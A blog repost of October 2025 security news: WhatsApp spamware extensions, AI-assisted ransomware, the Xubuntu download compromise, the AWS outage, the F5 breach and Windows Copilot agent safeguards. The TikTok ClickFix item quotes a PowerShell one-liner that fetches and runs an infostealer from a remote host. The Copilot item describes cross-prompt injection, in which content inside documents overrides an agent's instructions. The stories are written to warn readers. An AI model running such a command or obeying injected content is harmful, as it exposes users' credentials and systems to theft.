News posts... 2023: 5,800+ | 2024: 5,700+ | 2025 (till end of September): 4,533

RIP Matrix

The 131 spamware extensions share the same codebase, design patterns, and infrastructure, according to supply chain security company Socket. The browser add-ons collectively have about 20,905 active users.

"They are not classic malware, but they function as high-risk spam automation that abuses platform rules," security researcher Kirill Boychenko said. "The code injects directly into the WhatsApp Web page, running alongside WhatsApp's own scripts, automates bulk outreach and scheduling in ways that aim to bypass WhatsApp's anti-spam enforcement."

The end goal of the campaign is to blast outbound messaging via WhatsApp in a manner that bypasses the messaging platform's rate limits and anti-spam controls.

The activity is assessed to have been ongoing for at least nine months, with new uploads and version updates to the extensions observed as recently as October 17, 2025. Some of the identified extensions are listed below -

•     YouSeller (10,000 users)
•     performancemais (239 users)
•     Botflow (38 users)
•     ZapVende (32 users)

The extensions have been found to embrace different names and logos, but, behind the scenes, the vast majority of them have been published by "WL Extensão" and its variant "WLExtensao." It's believed that the differences in branding are the result of a franchise model that allows the operation's affiliates to flood the Chrome Web Store with various clones of the original extension offered by a company named DBX Tecnologia.

These add-ons also claim to masquerade as customer relationship management (CRM) tools for WhatsApp, allowing users to maximize their sales through the web version of the application.

"Turn your WhatsApp into a powerful sales and contact management tool. With Zap Vende, you'll have an intuitive CRM, message automation, bulk messaging, visual sales funnel, and much more," reads the description of ZapVende on the Chrome Web Store. "Organize your customer service, track leads, and schedule messages in a practical and efficient way."

DBX Tecnologia, per Socket, advertises a reseller white-label program to allow prospective partners to rebrand and sell its WhatsApp Web extension under their own brand, promising recurring revenue in the range of R$30,000 to R$84,000 by investing R$12,000.

It's worth noting that the practice is in violation of Google's Chrome Web Store Spam and Abuse policy, which bans developers and their affiliates from submitting multiple extensions that provide duplicate functionality on the platform. DBX Tecnologia has also been found to have put out YouTube videos about bypassing WhatsApp's anti-spam algorithms when using the extensions.

"The cluster consists of near-identical copies spread across publisher accounts, is marketed for bulk unsolicited outreach, and automates message sending inside web.whatsapp.com without user confirmation," Boychenko noted. "The goal is to keep bulk campaigns running while evading anti-spam systems."

The disclosure comes as Trend Micro, Sophos, and Kaspersky shed light on a large-scale campaign that's targeting Brazilian users with a WhatsApp worm dubbed SORVEPOTEL that's used to distribute a banking trojan codenamed Maverick.

Source

Recent reports claim to showcase AI-powered ransomware. But how big is the risk to businesses?

Beyond ransomware-as-a-a service, AI is making ransomware more available to cybercriminals with limited abilities. Anthropic reported that an adversary used the Claude chatbot for recon, code generation and credential theft against 17 organisations, including healthcare providers, government agencies and a defence contractor.

Meanwhile, cybersecurity firm ESET demonstrated a proof of concept showing what researchers call the first AI-powered ransomware.

Ransomware is bad enough on its own, with the malware now present in 44% all breaches, according to Verizon’s 2025 Data Breach Investigations report. So, how will AI technology affect the ransomware market? And are researchers’ predictions an indicator of what’s to come?

AI-Powered Ransomware

The technology is supercharging attacker capabilities, but not all cybersecurity experts are convinced of the risk from AI-powered ransomware. Rik Ferguson, VP of security intelligence at Forescout and cybersecurity industry veteran says the “loud AI-powered ransomware” headlines are “mostly hyperbole”.

Recent reports highlighting instances of AI-powered ransomware involved malware samples embedded with AI prompts capable of executing script commands for file discovery and encryption. However, they were not examples of real-world attacks, Robert McArdle, director of forward threat research at Trend Micro points out.

Instead, they originated from academic research and were uploaded to public repositories such as VirusTotal, where they were identified, he says.

And in fact, rather than offering an easy means to attack, the idea of AI-integrated ransomware actually presents several drawbacks for criminals using it, says McArdle. “Such malware is typically easier to detect and often relies on connections to cloud-based AI services, introducing additional risks. Threat actors must then evade detection from traditional security vendors, as well as from the security teams of large language model providers.”

The real criminal operational improvements today are in the back-end, says Ferguson says. “This is where AI sharpens target selection, personalises phishing at scale and dynamically tunes campaigns to raise conversion rates without raising flags.”

Taking this into account, Anthropic’s latest misuse report is the better compass of how adversaries are using AI in ransomware attacks, says Ferguson. “One adversary used Claude to automate reconnaissance, assist credential theft, triage targets and draft ransom notes, leaning on leak-based extortion rather than encryption. That’s the operational reality to plan for.”

The Real Risk of AI 

As the area develops, experts agree that AI will play a role in a number of areas of the ransomware market. One is in the post-exfiltration phase of the ransomware kill chain, specifically in the monetisation of stolen data, says McArdle.

He describes a development in late August on the RAMP4U forum, where the Dragonforce ransomware group announced a new data analysis service. “This leverages AI to process stolen data and produce tailored outputs designed to increase pressure on victims.”

As large language models become more capable and accessible, attackers will move beyond using AI as a tool and start embedding it directly into their operations, Dan Jones, senior security advisor at Tanium tells SC Media UK.

This can range from adaptive reconnaissance to malware that learns from its environment, Jones says. He thinks ransomware strains will evolve to “negotiate, pivot and persist without the hacker needing to intervene”.

Looking ahead, AI-powered ransomware is likely to become more “autonomous adaptive, and stealthy”, agrees Steve Sandford, partner, digital forensics and incident response at Cyxcel. “Future variants may use reinforcement learning to optimise attack paths or integrate deepfake technology to impersonate executives and manipulate victims.”

Magic Malware

The addition of AI to ransomware operations means firms need to be on their guard. But the threat is not that large – at least yet.

Over the next year, expect AI to keep supercharging operations, not to create magic malware, says Ferguson. “Think dynamic victim profiling, adaptive phishing, faster privilege escalation, automated leak-site curation and tailored pressure campaigns.”

On the code side, he suggests more local models could be used to dodge provider guardrails. “But the measurable improvement for criminals will remain in scale and speed rather than novel exploits or attack chains.”

While generative AI is driving industry discourse, the most transformative impact is likely to come from agentic AI, says McArdle. “This does not rely on a single, all-powerful system, but on a network of specialised agents, each designed to perform a specific task. These agents are orchestrated by a central AI coordinator or digital assistant, which manages workflows, retains memory of past actions, and continuously learns to optimise performance. “

He thinks the adoption of agentic AI has the potential to move beyond the model of “cybercrime-as-a-service” to what he labels “cybercrime-as-a-servant”. This would enable criminals to “delegate complex operations to AI systems with minimal oversight”, he says.

For now, there are some simple steps firms can take to mitigate the threat. The right response isn’t to “panic” or “chase the next shiny security tool”, says Adam Seamons, head of information security at GRC International Group. “It’s about doing the basics properly, using strong identity controls, tested backups, behaviour-based detection, and people who trust their instincts when something seems wrong. In short, assume the attackers are using automation, and make sure you’re keeping up.”

And while the emergence of AI-powered ransomware might introduce new dimensions to cyber threats, it remains, at its core, a form of ransomware, McArdle points out. Therefore, he says, “established best practices for defending against attacks continue to be applicable”.

Source

That’s important because it means that your Windows 10 computer will gradually become less secure. 

“Microsoft does not warn that it’s the last update, but it does show a small nudge to sign up for Extended Security Updates,” Windows Latest reports.

So, what should you do to keep your PC secure?

First up, if you think you would like Windows 11 after all, it’s free to upgrade to it — and there are plenty of nudges from Microsoft to do that.

But what if your PC isn’t capable of running Windows 11? This is something you can check. Microsoft explained what to do in a recent support document: “To check if your PC is eligible for the free upgrade go to Start > Settings > Update & Security > Windows Update and select Check for updates,” it said.

But what if you like Windows 10, thank you very much, and don’t want to move to the next OS? There are hundreds of millions of users who haven’t chosen to move to Windows 11, by the way.

In that case, you have the ESU option. This will provide security updates for almost a year, until Oct. 14, 2026. Microsoft really does want you on Windows 11 after that, but you have 12 months grace to, as the company puts it, prepare for the transition to Windows 11.

To sign up to ESU costs $30, but you can choose to redeem 1,000 Microsoft Rewards points instead of paying cash. Even better, the $30 fee is waived, making it a free option, if you agree to sync your PC settings.

To sign up for this, go to Settings, then choose Update & Security and Windows Update. If your device meets the prerequisites, click on the link marked Enroll now and sign in with your Microsoft account.

Source

For those people not able to upgrade to Windows 11, due to insufficient hardware, a popular choice has been to switch to Linux, and hackers know this. Well, over the weekend, the website of Xubuntu, an Ubuntu spin, was compromised to serve Windows malware.

According to OMG! Ubuntu, the malware was being served in the ironically-named file xubuntu-safe-download.zip, which was being downloaded by users who tried to download the official .torrent file. If you didn’t download the torrent, you should be fine.

Inside the zip file was a Windows .exe runtime which contained the malware and a terms of service text file. While this wouldn’t have tricked an experienced user, who knows they’re looking for an .ISO or .IMG file, a Linux novice who has never left Windows might not realize this and click the .exe, getting their machine infected.

The malware itself was designed to intercept links for cryptocurrency accounts copied to the clipboard, probably in an attempt to clear users out of their savings. As cryptocurrency is largely unregulated, it’s much harder to get your assets back when compared to money being taken from your bank account.

Once the team learned about what happened, they took down the affected download page immediately so others wouldn’t be able to infect their PC. The project said that it is expediting static site development to replace the aging WordPress instance.

While this sucks for the credibility of the Xubuntu project, users should be fully aware the compromise was very limited. No other flavours of Ubuntu, the Ubuntu infrastructure, or direct Xubuntu ISO downloads were compromised. Also, if you are running Xubuntu, there is no need to worry as this attack doesn’t affect you.

While the Xubuntu team works on the new website, you’ll need to head here https://cdimage.ubuntu.com/xubuntu/releases/ to download Xubuntu, which is safe to do.

Source

A disruption involving Amazon Web Services, the cloud service provider that powers much of the internet, took many websites and apps offline for over two hours on Monday, in the latest outage that showed the fragility of the global technology infrastructure.

The disruption affected websites and apps for some major banks, gaming sites and entertainment services starting shortly after 3 a.m. Eastern. Amazon said in an update at 5:27 a.m. that most websites and apps relying on its services were working normally again, and that it continued “to work through a backlog of queued requests.”

Major services were affected, including WhatsApp, the British government’s website and government tax services, the payment app Venmo, the cryptocurrency platform Coinbase and games at The New York Times. Dozens of other companies and retailers — including Amazon, Venmo, Hulu, Snapchat, Ring doorbells and McDonald’s — also experienced service interruptions.

It was not immediately clear what led to the outage, and there were no indications that it had been caused by a cyberattack.

Experts said that the disruption showed again how the internet’s reliance on a few major technology providers — including Amazon, Microsoft and Google — can affect millions of users when one service breaks down. Last year, a much wider, daylong internet outage was caused by a faulty update sent out by a little known cybersecurity company called CrowdStrike.

Amazon Web Services counts thousands of clients who rely on it for complex, demanding, data-intensive operations including streaming video, running web applications and storing huge amounts of digital information. Amazon’s cloud-computing division has set up infrastructure all around the world, allowing companies to make their products accessible to customers across the globe. By renting the service, clients can scale up or down without having to invest in otherwise costly hardware.

In its initial statement on the outage, Amazon’s said early Monday that 28 of its services, including those in the “US-EAST-1” region, were having issues and that its engineers had been working on limiting the effects and identifying the cause.

Rob Jardin, the chief digital officer at NymVPN, a virtual private network service, said that early indications were that the outage may have been caused by a technical fault affecting one of Amazon’s main data centers.

“Outages of this scale expose our overreliance on centralized infrastructures,” he said in a statement. “The internet was originally designed to be decentralized and resilient, yet today so much of our online ecosystem is concentrated in a small number of cloud regions.”

Some media advocates said that the outage, which caused disruptions to secure communications apps such as Signal and other digital tools, showed how the internet’s reliance on a few major technology companies posed a risk to free speech.

“When a single provider goes dark, critical services go offline with it,” Corinne Cath-Speth, head of digital for Article 19, a free speech advocacy group, said in a statement. She added that there was an urgent need for diversification in cloud computing. “The infrastructure underpinning democratic discourse, independent journalism and secure communications cannot be dependent on a handful of companies.”

Still, Amazon’s share price barely moved in premarket trading, suggesting that investors were not too bothered about the outage. In the first half of the year, Amazon Web Services accounted for nearly 20 percent of Amazon’s sales, but about 60 percent of its operating profit.

Source

Also:  Live: Amazon services showing 'signs of recovery' after Snapchat and banks among sites hit by major outage

          AWS outage crashes Amazon, PrimeVideo, Fortnite, Perplexity and more

ISC Handler Xavier Mertens spotted the ongoing campaign, which is largely the same as the one observed by Trend Micro in May

The TikTok videos seen by BleepingComputer pretend to offer instructions on how to activate legitimate products like Windows, Microsoft 365, Adobe Premiere, Photoshop, CapCut Pro, and Discord Nitro, as well as made-up services such as Netflix and Spotify Premium.

The videos are performing a ClickFix attack, which is a social engineering technique that provides what appears to be legitimate "fixes" or instructions that trick users into executing malicious PowerShell commands or other scripts that infect their computers with malware.

Each video displays a short one-line command and tells viewers to run it as an administrator in PowerShell:

iex (irm slmgr[.]win/photoshop)

It should be noted that the program name in the URL is different depending on the program that is being impersonated. For example, in the fake Windows activation videos, instead of the URL containing photoshop, it would include windows.

In this campaign, when the command is executed, PowerShell connects to the remote site slmgr[.]win to retrieve and execute another PowerShell script.

This script downloads two executables from Cloudflare pages, with the first executable downloaded from https://file-epq[.]pages[.]dev/updater.exe [VirusTotal]. This executable is a variant of the Aura Stealer info-stealing malware.

Aura Stealer collects saved credentials from browsers, authentication cookies, cryptocurrency wallets, and credentials from other applications and uploads them to the attackers, giving them access to your accounts.

Mertens says that an additional payload will be downloaded, named source.exe [VirusTotal], which is used to self-compile code using .NET's built-in Visual C# Compiler (csc.exe). This code is then injected and launched in memory.

The purpose of the additional payload remains unclear.

Users who perform these steps should consider all of their credentials compromised and immediately reset their passwords on all sites they visit.

ClickFix attacks have become very popular over the past year, used to distribute various malware strains in ransomware and cryptocurrency theft campaigns.

As a general rule, users should never copy text from a website and run it in an operating system dialog box, including within the File Explorer address bar, command prompt, PowerShell prompts, macOS terminal, and Linux shells.

Source

Hope you enjoyed this news post. Feedback welcome.

Posted Monday 20 October 2025 at 12:15 pm AEST (my time).

News posts... 2023: 5,800+ | 2024: 5,700+ | 2025 (till end of September): 4,533

RIP Matrix

ZDNET's key takeaways

•     Windows 11 is adding AI agents that can take actions on your behalf.
•     Copilot agents represent potential security and privacy risks.
•     Expect testing and more security controls before the feature goes public.

Every computer security decision ultimately comes down to a question of trust. Should you install this program you're about to download from an unfamiliar website? Are you certain that your email messages are going directly to their recipient without being intercepted? Is it safe to provide that merchant with your credit card details?

Soon, owners of PCs running Windows 11 will have another question to add to that list: Should you trust this Copilot agent to poke around in your files and interact with apps on your behalf?

Here's how Microsoft describes the Copilot Actions feature, which is rolling out for testing by members of the Windows Insider Program:

Copilot Actions is an AI agent that completes tasks for you by interacting with your apps and files, using vision and advanced reasoning to click, type, and scroll like a human would.

This transforms agents from passive assistants into active digital collaborators that can carry out complex tasks for you to enhance efficiency and productivity -- like updating documents, organizing files, booking tickets, or sending emails. After you've granted the agent access, when integrated with Windows, the agent can take advantage of what you already have on your PC, like your apps and data, to complete tasks for you.

These are pretty big trust decisions. Allowing an agent to interact with your personal files requires a leap of faith. So does the idea of letting an agent act on your behalf in apps -- where, presumably, you are signed in using some sort of secure credentials.

Learning from the past

The last time Microsoft rolled out a major AI feature with this level of access to your personal data, it ... didn't go well. The Windows Recall feature was slammed by security researchers, delayed for months, and finally relaunched with major privacy and security changes. Ultimately, it was nearly a year before the feature made it to public builds.

This time around, Microsoft is taking no such chances. In a pair of on-the-record briefings ahead of the public debut of the Copilot Actions feature, executives at the company went to great pains to emphasize its commitment to privacy and security controls.

For starters, the feature is rolling out as a preview, in "experimental mode," exclusively for customers who've opted into the Windows Insider Program for pre-release builds of Windows.

The feature is disabled by default and only enabled when the user flips the "Experimental agentic features" switch in Windows Settings > System > AI components > Agent tools.

Agents that integrate with Windows must be digitally signed by a trusted source, much as executable apps are. That precaution should make it possible to revoke and block malicious agents.

Agents will run under a separate standard account that is only provisioned when the user enables the feature. For now, at least, the agent account will have access to a limited set of so-called known folders in the logged-on user's profile -- including Documents, Downloads, Desktop, and Pictures. The user needs to explicitly grant permission to access files in other locations.

All of those actions will happen in a contained environment called the Agent workspace, with its own desktop and only limited access to the user's desktop. In principle, this kind of runtime isolation and granular control over permissions is similar to existing features like the Windows Sandbox.

In a blog post highlighting these security features, Dana Huang, corporate vice president, Windows Security, said, "[A]n agent will start with limited permissions and will only obtain access to resources you explicitly provide permission to, like your local files. There is a well-defined boundary for the agent's actions, and it has no ability to make changes to your device without your intervention. This access can be revoked at any time."

The security stakes for this kind of feature are high. As Huang noted, "[A]gentic AI applications introduce novel security risks, such as cross-prompt injection (XPIA), where malicious content embedded in UI elements or documents can override agent instructions, leading to unintended actions like data exfiltration or malware installation." And, of course, there's always the risk that an AI-powered agent will confidently perform the wrong action.

In an interview, Microsoft's Peter Waxman confirmed that the company's security researchers are actively "red-teaming" the Copilot Actions feature, although he declined to discuss any specific scenarios that they've tested.

Microsoft said the feature will be evolving continuously during the experimental preview period, with "more granular security and privacy controls" arriving before the features are released to the public.

Will those caveats and disclaimers be sufficient to satisfy the notoriously skeptical community of security researchers? We're about to find out.

Source

The company launched Privacy Sandbox in 2019 as a future replacement to third-party cookies. It's a set of open standards that are supposed to enable personalized ads without divulging identifying data. Over the years, Google's plans to deprecate third-party cookies got pushed back again and again due to a series of delays and regulatory hurdles. Specifically, both the UK's Competition and Markets Authority (CMA) and the US Department of Justice looked into the Privacy Sandbox out of concerns that it could harm smaller advertisers.

In 2024, Google ultimately decided not to kill third-party cookies in Chrome and instead chose to roll out "a new experience in Chrome that lets people make an informed choice that applies across their web browsing." Just this April, Google announced that it wasn't going to make any to changes to how third-party cookies work on the Chrome browser at all, and that it was going to "maintain [its] current approach to offering users third-party cookie choice in Chrome." At the time, the company said that it was going to keep the Privacy Sandbox initiative alive, but things have clearly changed since then. Chavez wrote in the latest update that Google will "continue to utilize learnings from the retired Privacy Sandbox technologies."

Source

It's 2025, and your data still isn't safe in the hands of corporations that should know a lot better than to store it in an unencrypted database. And yet, stories like these continue to send shivers down the spines of cybersecurity experts everywhere.

This time, the leak involves a company called Netcore Cloud Pvt. Ltd, based in Mumbai, India. Netcore's website states that its AI-powered "comprehensive customer experience platform" is trusted by more than 6,500 brands around the world, so it's not like it's a small company.

An unencrypted database with roughly 40 billion records — coming out to about 13TB of data — was discovered by cybersecurity researcher Jeremiah Fowler, who tipped off Website Planet with his findings.

The 40 billion records contained "copious amounts of email addresses, message subjects, and more," as well as banking and healthcare notices, including "partial account numbers and specific information" deemed as too sensitive to be exposed publicly. Fowler says he "saw numerous records marked as confidential" while scouring the database.

Fowler says the database lacked password protection and encryption of any sort, meaning anyone who stumbled on (or was tipped off to) the database could freely browse its contents.

Upon discovering the security faux pas, Fowler contacted Netcore, as much of the information he found was connected to the company. Fowler says that access to the open database was restricted on the same day he sent the notice.

It's important to point out that it remains unclear if Netcore itself was managing the database or if the task was farmed out to a third party. Fowler also has no idea how long the unencrypted information was on the web, or if anyone else had accessed it before he tipped off Netcore.

More specifically, "AI-automated phishing emails achieved 54% click-through rates compared to 12% for standard attempts" because "AI enables more targeted phishing and better phishing lures." The bulk of the data from the report is collected from Microsoft's fiscal year 2025, from July 1, 2024 to June 30, 2025.

In addition, "AI automation has the potential to increase phishing profitability by up to 50 times by scaling highly targeted attacks to thousands of targets at minimal cost. This massive return on investment will incentivise cyber threat actors who aren’t yet using AI to add it to their toolbox in the future."

Phishing is the attempt to trick people into clicking malicious links or downloading malicious files by pretending to be legitimate. For instance, it might be an email pretending to be from your employer, trying to get you to download an infected file that's disguised as an innocent presentation or spreadsheet. Or it might send you to a website that will ask for your details.

Microsoft explains that AI can "automate phishing campaigns, generate deepfakes, and craft highly convincing fraudulent messages." That makes sense because AI has developed enough that it can craft exploits and attacks that a very intelligent and knowledgeable bad actor could.

(Image credit: seksan Mongkhonkhamsao @ Getty Images)

These phishing stats just point towards a more general—and, of course, expected—trend towards AI being used for nefarious purposes, not just for phishing:

"We’re witnessing adversaries deploy generative AI for a variety of activities, including scaling social engineering, automating lateral movement, engaging in vulnerability discovery, and even real-time evasion of security controls. Autonomous malware and AI-powered agents are now capable of adapting their tactics on the fly, challenging defenders to move beyond static detection and embrace behavior-based, anticipatory defense."

It can be easy to jump on the anti-AI bandwagon upon hearing things like this—and I'm no stranger to such sentiment—but I'm conscious that I'm hearing about this on the same day I'm hearing that AI has discovered a promising new cancer treatment method. Pros and cons, as always.

Plus, there's the fact that AI is used to help defend from cyber attacks these days. I suppose that's just what happens in an arms race, though; the neorealist in me sees such tit-for-tat escalations as inevitable to maintain equilibrium between different states and powers.

The good news is that it doesn't seem there's much different, in principle, that we should be doing—just ramping up more of the same. For instance, Microsoft says that "no matter how much the cyber threat landscape changes, multifactor authentication (MFA) still blocks over 99% of unauthorized access attempts, making it the single most important security measure an organization can implement."

Of course, MFA might do little to prevent you from falling for a phishing attack. On that front, though, Microsoft's recommendations are again more and better implementations of the same defences we're used to: Inbox filters, restrictions on external communications, limiting remote access tools, educating users, and keeping an eye out for common patterns of attack behaviours.

Source

Thousands of networks—many of them operated by the US government and Fortune 500 companies—face an “imminent threat” of being breached by a nation-state hacking group following the breach of a major maker of software, the federal government warned on Wednesday.

F5, a Seattle-based maker of networking software, disclosed the breach on Wednesday. F5 said a “sophisticated” threat group working for an undisclosed nation-state government had surreptitiously and persistently dwelled in its network over a “long term.” Security researchers who have responded to similar intrusions in the past took the language to mean the hackers were inside the F5 network for years.

Unprecedented

During that time, F5 said, the hackers took control of the network segment the company uses to create and distribute updates for BIG IP, a line of server appliances that F5 says is used by 48 of the world’s top 50 corporations. Wednesday’s disclosure went on to say the threat group downloaded proprietary BIG-IP source code information about vulnerabilities that had been privately discovered but not yet patched. The hackers also obtained configuration settings that some customers used inside their networks.

Control of the build system and access to the source code, customer configurations, and documentation of unpatched vulnerabilities has the potential to give the hackers unprecedented knowledge of weaknesses and the ability to exploit them in supply-chain attacks on thousands of networks, many of which are sensitive. The theft of customer configurations and other data further raises the risk that sensitive credentials can be abused, F5 and outside security experts said.

Customers position BIG-IP at the very edge of their networks for use as load balancers and firewalls, and for inspection and encryption of data passing into and out of networks. Given BIG-IP's network position and its role in managing traffic for web servers, previous compromises have allowed adversaries to expand their access to other parts of an infected network.

F5 said that investigations by two outside intrusion-response firms have yet to find any evidence of supply-chain attacks. The company attached letters from firms IOActive and NCC Group attesting that analyses of source code and build pipeline uncovered no signs that a “threat actor modified or introduced any vulnerabilities into the in-scope items." The firms also said they didn’t identify any evidence of critical vulnerabilities in the system. Investigators, which also included Mandiant and CrowdStrike, found no evidence that data from its CRM, financial, support case management, or health systems was accessed.

The company released updates for its BIG-IP, F5OS, BIG-IQ, and APM products. CVE designations and other details are here. Two days ago, F5 rotated BIG-IP signing certificates, though there was no immediate confirmation that the move is in response to the breach.

The US Cybersecurity and Infrastructure Security agency has warned that federal agencies that rely on the appliance face an “imminent threat” from the thefts, which “pose an unacceptable risk.” The agency went on to direct federal agencies under its control to take “emergency action.” The UK’s National Cyber Security Center issued a similar directive.

CISA has ordered all federal agencies it oversees to immediately take inventory of all BIG-IP devices in networks they run or in networks that outside providers run on their behalf. The agency went on to direct agencies to install the updates and follow a threat-hunting guide that F5 has also issued. BIG-IP users in private industry should do the same.

This story originally appeared on Ars Technica.

Source

Hope you enjoyed this news post. Feedback welcome.

Posted Friday 17 October 2025 at 12:51 pm AEST (my time).

News posts... 2023: 5,800+ | 2024: 5,700+ | 2025 (till end of September): 4,533

RIP Matrix

Mozilla has cooked up a new way to keep your browser habits safe from spying eyes: Firefox VPN. The latest Firefox VPN is currently in a Beta stage for testing, and Mozilla says that it's only available for a limited time to randomly selected users (via TechRadar).

Firefox VPN is a free addition to the web browser, and the wording in the Mozilla support document suggests that it will remain free after the testing period. Firefox has not placed any data limits, at least during the testing period.

Firefox VPN is designed to work within the Firefox browser only. Any web traffic that originates in the browser is directed through VPN servers managed by Firefox; any other web traffic originating elsewhere is not protected.

Mozilla says it works by "concealing your real IP as well as adding a layer of encryption to your communications" on the official Firefox VPN support page. Sounds like a standard VPN, albeit with limited scope.

Because the new VPN built into Firefox is invite-only while it's being tested, not everyone will get to give it a try. If you're one of the lucky users who is selected for testing, you'll see a prompt pop up when you launch Firefox asking if you'd like to try Firefox VPN.

If you don't see the prompt, well, you're out of luck for now.

This is Mozilla's second VPN to enter the market

A lot of Firefox users wondered why Mozilla called its first VPN "Mozilla VPN" and not "Firefox VPN" when it launched a few years ago. They now have an answer.

Yes, this is Mozilla's second VPN to enter the market. Mozilla VPN officially launched in 2020 following the retirement/rebranding of Firefox Private Network.

Mozilla VPN is a full-fledged VPN service that covers your entire PC or device, not just your data in Firefox. Mozilla VPN has a standalone app available for Windows 10 and Windows 11, as well as plenty of other devices.

As with most VPN services that cover all of your web traffic, Mozilla VPN is not free. You can subscribe on a monthly or yearly basis, and the lowest price you'll get is about $4.99 per month when you subscribe for a full year.

Not bad, especially as it allows you to use up to five devices under the same account.

But for those who don't want to pay a monthly subscription fee, Firefox VPN should be a tempting feature once it arrives (hopefully for free) for all Firefox users.

A free VPN? I thought I was supposed to avoid those...